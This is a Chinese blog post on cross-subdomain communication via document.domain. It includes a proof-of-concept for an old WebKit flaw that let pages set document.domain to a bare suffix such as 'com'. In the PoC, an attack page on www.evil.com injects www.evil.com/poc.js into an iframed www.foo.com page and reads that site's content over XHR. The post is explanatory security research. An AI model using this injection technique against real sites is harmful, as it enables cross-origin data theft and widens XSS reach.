Arron的博客

导航

跨域(四)——document.domain

浏览器有一个合法的性质:一个页面可以设置document.domain为当前子域或比当前子域更高级的域。一般顶级就到了根域,如果设置为其他域,浏览器就会报权限错误。

利用这个性质,我们可以通过设置document.domain来跨子域。比如:在blog.foo.com/blog.html和app.foo.com/app.html两个文件中分别加上document.domain='foo.com',然后通过在app.html文件中创建一个iframe,去控制iframe的contentDocument,这样两个文件之间就可以跨域通信了。

app.html主要代码:

我是app
<iframe id='ifr' src="http://blog.foo.com/blog.html"></iframe>
<script>
document.domain='foo.com';
var ifr=document.getElementById('ifr');
ifr.onload=function(){
    var d=ifr.contentDocument||ifr.contentWindow.document;//contentDocument:firefox,>ie8  contentWindow:兼容各个浏览器
    alert(d.getElementById('test').innerHTML);
}
</script>

blog.html主要代码:

<div id="test">我是blog</div>
<script>
document.domain='foo.com';
</script>

 

 WebKit内核浏览器有一个缺陷(由sog1发现),导致顶级的域是域名后缀,比如foo.com的域名后缀是com。下面做一个测试,在Chrome下访问,版本 27.0.1453.93。

有文件www.evil.com/attack.html,www.evil.com/poc.js和www.foo.com/proxy.html。

代码分别如下:

attack.html页面

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
我是attack页面
<script>
document.domain="com";
function inj_iframe(src,hadle){
    var o=document.createElement('iframe');
    o.src=src;
    o.id='proxy';
    o.onload=hadle;
    document.getElementsByTagName('body')[0].appendChild(o);
    return o;
}
function inject(){
    var proxy=document.getElementById('proxy');
    var d=proxy.contentDocument||proxy.contentWindow.document;
    var x=d.createElement('script');
    x.src="http://www.evil.com/poc.js";
    x.defer=true;
    d.getElementsByTagName('head')[0].appendChild(x);
}
var o=inj_iframe("http://www.foo.com/proxy.html",inject);
</script>
</body>
</html>

proxy.html代码:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script>
getTransport=function()
{
    var xmlhttp;
    if(window.ActiveXObject)
    {
        xmlhttp=new ActiveXObject('Microsoft.XMLHTTP');
    }
    else if(window.XMLHttpRequest)
    {
        xmlhttp=new XMLHttpRequest();
    }
    return xmlhttp;
}
document.domain="com";
alert('proxy.html:'+document.domain);
</script>
</head>
<body>
i am proxy.html
</body>
</html>

poc.js代码:

alert(document.domain+"|poc.js");
xhr=getTransport();
function req(method,src,argv){
    xhr.open(method,src,false);
    if(method=="POST")xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    xhr.send(argv);
    return xhr.responseText;
}
x=req("GET","http://www.foo.com/proxy.html");
alert(x);

访问attack.html后的效果图:

有的网站的设置不通过proxy.html文件,而是在任意页面都嵌入公共的js文件(设置document.domain为顶级域),这样的做法给XSS带来了巨大便利,即只要在任意一个子域下找到XSS漏洞都能危害到目标页面。

posted on 2014-12-20 12:44  aaron_shu  阅读(465)  评论(0编辑  收藏  举报